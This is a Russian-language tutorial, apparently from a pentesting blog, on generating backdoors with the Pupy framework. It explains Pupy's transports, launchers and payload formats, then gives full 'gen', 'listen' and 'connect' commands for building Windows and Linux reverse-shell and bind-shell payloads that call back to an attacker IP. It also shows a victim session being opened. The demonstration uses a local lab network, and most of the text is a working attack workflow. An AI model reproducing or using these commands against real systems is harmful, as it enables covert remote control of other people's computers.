Инструкция по Pupy: как создать бэкдор
Смотрите начало в статье «Как установить Pupy».
Для генерации рабочей полезной нагрузки нам нужно ясное понимание о том, как и что работает, также перед началом работы вам нужно понимать такие термины как:
- transports
- launchers
- listeners
- payloads
Transport
Transport (транспорт) — это то, каким образом (с использованием каких протоколов и технологий) сервер и клиент передают между собой информацию.
Доступны следующие варианты:
- ssl (используется по умолчанию): TCP транспорт обёрнутый в SSL.
- rsa: Аутентификация и шифрование с использованием RSA и AES256, часто сочетается с другими протоколами.
- ssl_rsa: Как и ssl, но вложен в rsa слой.
- websocket:
- aes: Использует статичный ключ AES256.
- http: Делает трафик похожим на обычный HTTP + вкладывается в слой rsa.
- obfs3: Протокол, который не позволяет третьей стороне определить на основании содержимого сообщений, какой протокол используется. Для большей безопасности Obfs3 вложен в слой rsa.
- scramblesuit: Полиморфный сетевой протокол для обхода цензуры. Scramblesuit сложен со слоем RSA для лучшей безопасности.
- udp: Rsa слой но через UDP (может быть нестабильным, не решает проблемы с потерявшимися при передаче пакетами).
- другие: Слои без особого интереса и приведены в качестве примеров кода: (dummy, base64, XOR, …).
Все транспорты способны быть обёртками друг к другу (stackable). Это означает, что, создавая пользовательскую конфигурацию транспорта (pupy/network/transport/<transport_name>/conf.py), вы можете сделать так, чтобы ваша сессия pupy выглядела как угодно. Например, вы можете сложить HTTP через HTTP через base64 через HTTP через AES через obfs3.
Launchers
Launchers (лончеры) позволяют pupy запускать настраиваемые действия перед запуском обратного соединения.
- connect: Выполняется подключение от удалённого компьютера к атакующему.
- bind: Удалённый компьютер начинает прослушивать порт в ожидании подключения к нему
- auto_proxy: Получит список возможных SOCKS/HTTP прокси и попробует каждый из них. Методы извлечения прокси: реестр, запросы WPAD, настройки gnome, переменная env HTTP_PROXY
- dnscnc: DNS эксфильтрация
Лончер connect обычно называют Reverse Shell (Обратный шелл). А bind — это то, что обычно называют просто Shell. Подробности об их различиях и случаях применения здесь.
Listeners
Listeners (прослушиватели) — используются с лончером connect, то есть при Reverse Shell (Обратном шелле), когда нужно ждать подключение от удалённого компьютера.
Если в качестве лончера выбран bind, то нам не нужен прослушиватель на нашем компьютере — нам достаточно сразу подключиться к удалённой системе.
Прослушиватели при запуске должны получить два параметра:
- порт, к которому будет сделано подоключение
- транспорт, который использует полезная нагрузка
По умолчанию лончер пытается прослушивать на порту 443 используя транспорт ssl. Эту конфигурацию можно изменить в файле pupy.conf. О том, как добавлять свои собственные прослушиватели, будет рассказано далее.
Формат полезной нагрузки
Pupy умеет создавать файлы для различных операционных систем: Windows, Linux, OSX, Android. Поддерживаются различные архитектуры процессора (64- и 32-битные). При создании полезной нагрузки нужно указывать эти данные в параметрах. Это в первую очередь относится к исполнимым файлам — то есть для исполнимых файлов нужно указать, например, что бэкдор должен быть запущен в операционной системе Windows с архитектурой процессора 64-бита.
Pupy умеет создавать не только исполнимые файлы, но и другие форматы, а именно:
- client: исполнимые файлы для запуска на целевой машине (.exe, .dll, .lin, .so).
- py: файл python.
- pyinst: файл python готовый для использования с pyinstaller.
- py_oneliner: python oneliner (то есть исполнимый код в одну строку) (запускает в фоне прослушивающий сервер)
- ps1: файл powershell.
- ps1_oneliner: powershell oneliner (запускает в фоне прослушивающий сервер).
- rubber_ducky: полезен с rubber ducky.
Генерировать полезную нагрузку можно двумя способами: используя отдельный файл pupygen.py, либо запустив Pupy и в консоли используя команду
gen
Можно выбрать любой вариант — у этих способов идентичные опции запуска. Я буду показывать на примере работы в сессии Pupy, поэтому начинаю с запуска этой программы.
Запуск Pupy
В статье про установку Pupy я рассказывал о двух вариантах установки и рекомендовал первый. Запуск сессии Pupy различается в зависимости от метода установки. При установке прямо в систему, сессия запускается так:
export PATH=$PATH:~/.local/bin; pupysh
При первом запуске генерируются ключи и сертификаты, которые используются в программе для шифрования соединений с удалёнными системами:
Они сохраняются в файл /root/.config/pupy/crypto/credentials.py
Программа также говорит:
The usage of this software to access any system, service, or network without the owner's consent is expressly forbidden. Please follow https://www.eccouncil.org/code-of-ethics/
Перевод: Использование данного программного обеспечения для доступа к любой системе, услуге или сети без согласия владельца категорически запрещено. Пожалуйста, следуйте кодексу этики: https://www.eccouncil.org/code-of-ethics/
Опции gen
Как сказано выше, gen (и pupygen.py) используются для генерации полезной нагрузки и у них одинаковые опции. Рассмотрим их.
Использование:
gen [-h] [-f {client,py,pyinst,py_oneliner,ps1,ps1_oneliner,rubber_ducky,csharp,.NET,.NET_oneliner}] [-O {android,windows,linux,solaris}] [-A {x86,x64}] [-U] [-P PACKER] [-S] [-o OUTPUT] [-d < ATTEMPTS > < MIN SEC > < MAX SEC >] [-D OUTPUT_DIR] [-s SCRIPTLET] [-l] [-E] [--no-use-proxy] [--oneliner-nothidden] [--debug-scriptlets] [--debug] [--workdir WORKDIR] [{bind,auto_proxy,dnscnc,connect}] ...
Опции:
позиционные аргументы: {bind,auto_proxy,dnscnc,connect} Выбор лончера. Лончеры делают полезную нагрузку которая при запуске ведёт себя по-разному. launcher_args опции лончера опциональные аргументы: -h, --help показать справку и выйти -f {client,py,pyinst,py_oneliner,ps1,ps1_oneliner,rubber_ducky,csharp,.NET,.NET_oneliner}, --format {client,py,pyinst,py_oneliner,ps1,ps1_oneliner,rubber_ducky,csharp,.NET,.NET_oneliner} (по умолчанию: client) -O {android,windows,linux,solaris}, --os {android,windows,linux,solaris} Целевая ОС (по умолчанию: windows) -A {x86,x64}, --arch {x86,x64} Целевая архитектура (по умолчанию: x86) -U, --uncompressed Использовать шаблон без сжатия -P PACKER, --packer PACKER Использовать пакер, когда форматом вывода выбран 'client' (по умолчанию: ) -S, --shared Создать совместно используемый (shared) объект -o OUTPUT, --output OUTPUT имя файла вывода -d <ATTEMPTS> <MIN SEC> <MAX SEC>, --delays-list <ATTEMPTS> <MIN SEC> <MAX SEC> Формат: <максимальное кол-во попыток> <минимальная задержка (секуны)> <максимальная задержка (секуны)> -D OUTPUT_DIR, --output-dir OUTPUT_DIR папка вывода (по умолчанию: /root/.config/pupy/output) -s SCRIPTLET, --scriptlet SCRIPTLET офлайн python скриплеты для выполнения перед запуском соединения. Можно указать несколько скриплетов. -l, --list вывести список доступных форматов, транспортёров, скриплетов и опций -E, --prefer-external В случае автоопределения предпочитать внешний IP --no-use-proxy Не использовать конфигурацию прокси цели, даже если она используется целью (сейчас пока только для ps1_oneliner) --oneliner-nothidden Скрипт Powershell не скрыт целевой стороной (по умолчанию: False) --debug-scriptlets не перехватывать исключения в скриплетах на клиенте для целей отладки --debug собрать с шаблоном отладки (полезная нагрузка открывает консоль) --workdir WORKDIR Установить рабочую папку (По умолчанию = текущая рабочая папка)
Как можно увидеть, некоторые значения установлены по умолчанию. Если запустить команду
gen
без каких-либо опций, то будет сгенерирована полезная нагрузка, она в качестве значений по умолчанию примет следующие значения:
- формат полезной нагрузки: client
- лончер: connect (то есть обратный шелл до нашей машины)
- в качестве IP адреса берётся автоматически определённый наш адрес
- порт для подключения: 443
- платформа: windows/x86
- транспорт: ssl
Но все эти опции мы, конечно же, можем перенастроить нашими параметрами.
Все опции рассмотрены выше, поэтому нет смысла детально объяснять команды — если вам в них что-то непонятно, тогда вернитесь к их описанию.
Начнём с создания обратного шелла — в этом случае удалённый компьютер («Жертва») подключается к компьютеру «Атакующего». Поэтому при создании полезной нагрузки нужно указать IP адрес, к которому должна подключаться Жертва. К примеру, IP адреса своих интерфейсов можно посмотреть командой
ip a
Я буду делать тесты в локальной сети, у компьютера Атакующего локальный адрес 192.168.1.112 — поэтому я буду использовать его, а вы замените его на ваше значение.
Для создания обратного шелла под 64-битную платформу Windows, который будет подключаться к порту 43210 на IP адресе 192.168.1.112 используя транспорт http:
gen -f client -O windows -A x64 connect --host 192.168.1.112:43210 -t http
Всё готово:
Файл успешно создан и сохранён по пути /root/.config/pupy/output/pupyx64.KrN0Qe.exe
Переименую и скопирую его в более близкий путь:
!cp /root/.config/pupy/output/pupyx64.KrN0Qe.exe /root/reverse.exe
Поскольку с удалённого компьютера будет делаться подключение к нашему компьютеру, то перед запуском только что созданного файла на целевой системе нам нужно создать прослушиватель, который будет ожидать подключения к нему.
Кстати, при запуске Pupy один прослушиватель запускается автоматически, об этом говорить строка:
[*] Listen: ssl: 443
То есть заключается слушатель для транспорта ssl на порту 443.
Новые слушатели создаются, удаляются и показываются командой listen.
Создание слушателей listen
Использование:
listen [-h] [-l | -L | -a TRANSPORT [TRANSPORT_ARG1 ...] | -A TRANSPORT [TRANSPORT_ARG1 ...] | -r TRANSPORT]
Опциональные аргументы:
-h, --help показать справку и выйти -l, --list показать рекущие слушатели -L, --list-transports показать доступные транспорты -a TRANSPORT [TRANSPORT_ARG1 ...], --add TRANSPORT [TRANSPORT_ARG1 ...] запустить слушатель -A TRANSPORT [TRANSPORT_ARG1 ...], --add-no-pproxy TRANSPORT [TRANSPORT_ARG1 ...] запустить слушатель (игнорируя прокси) -r TRANSPORT, --remove TRANSPORT остановить слушатель
Поскольку для своей полезной нагрузки я выбрал транспорт http, а в качестве порта указал 43210, то слушатель в моём случае запускается так:
listen -a http 43210
Общий вид команды такой:
listen -a ТРАНСПОРТ ПОРТ
Строка
[+] Listen: http: 43210
Говорит о том, что всё прошло успешно.
Выведем список всех слушателей:
listen -l
Всё готово — теперь я переношу файл с полезной нагрузкой на целевую систему и запускаю его там.
Через несколько секунд после запуска будет выполнено подключение к компьютеру атакующего и появится примерно следующая информация:
[*] Session 1 opened (Alex@DESKTOP-IGFN39T) (('192.168.1.112', 43210) <- 192.168.1.101:49751)
К управлению сессиями, выполнению команд на удалённой машине и эксплуатации мы перейдём в следующей части. А пока рассмотрим ещё несколько популярных примеров генерации полезной нагрузки.
Создание бэкдора для Windows
Чтобы создать шелл, который откроет порт 54321 для 64-битной ОС Windows и будет ждать подключение от удалённого компьютера по транспорту http выполните следующую команду:
gen -f client -O windows -A x64 bind --port 54321 -t http
В этом случае мы не указываем IP адрес, поскольку данная полезная нагрузка никуда не подключается. Но мы указываем порт — этот порт будет открыт на компьютере Жертвы в ожидании подключения Атакующего.
Подключение к бэкдору
Для подключения используется команда connect. Рассмотрим её опции.
Использование:
connect [-h] -c <хост:порт> [-t {obfs3,http,ssl,ecm,tcp_cleartext,dfws,rsa,udp_secure,kc4,ec4,ws,scramblesuit,udp_cleartext,ssl_rsa}]
Опции connect
позиционные аргументы: transport_args Аргументы транспорта: ключ=значение ключ=значение ... опциональные аргументы: -h, --help показать справку и выйти -c <host:port>, --host <хост:порт> хост:порт сервера pupy к которому нужно подключиться. Вы можете указать несколько аргументов --host arguments для попытки подключения к нескольким IP -t {obfs3,http,ssl,ecm,tcp_cleartext,dfws,rsa,udp_secure,kc4,ec4,ws,scramblesuit,udp_cleartext,ssl_rsa}, --transport {obfs3,http,ssl,ecm,tcp_cleartext,dfws,rsa,udp_secure,kc4,ec4,ws,scramblesuit,udp_cleartext,ssl_rsa} Используемый транспорт
Как можно увидеть, обязательно нужно указать IP и порт подключения. Транспорт можно не указывать.
Кстати, в Windows IP адрес можно узнать командой
ipconfig /all
Для подключения к порту 54321 хоста 192.168.1.101:
connect -c 192.168.1.101:54321
Как сделать бэкдор для Linux
Для Linux можно также создать обратный шелл и обычный шелл.
Для создания обратного шелла:
gen -f client -O linux -A x64 connect --host 192.168.1.112:44445 -t http
Прослушиватель запускается точно так же, как это было показано выше:
listen -a http 44445
Для создания бэкдора, который будет ждать подключения от нас:
gen -f client -O linux -A x64 bind --port 44446 -t http
Для подключения к нему:
connect -c localhost:44446
Итак, в этой части мы научились создавать полезную нагрузку и подключаться к бэкдору.
В следующей части мы рассмотрим как выполнять команды на удалённой системе: Как удалённо управлять компьютерами через бэкдор
Связанные статьи:
- Как установить Pupy (100%)
- Как удалённо управлять компьютерами через бэкдор (100%)
- Скрытое управление компьютером на Windows (используя Metasploit) (78.6%)
- Инструкция по использованию Weevely: инструмента веб-мастера и пентестера (42.9%)
- Брут-форс и эксплуатация скомпрометированных WordPress (42.9%)
- Атака Pass-the-hash (как использовать NTLM без взлома пароля) (RANDOM - 14.3%)
Алексей помоги у меня ничего не получается!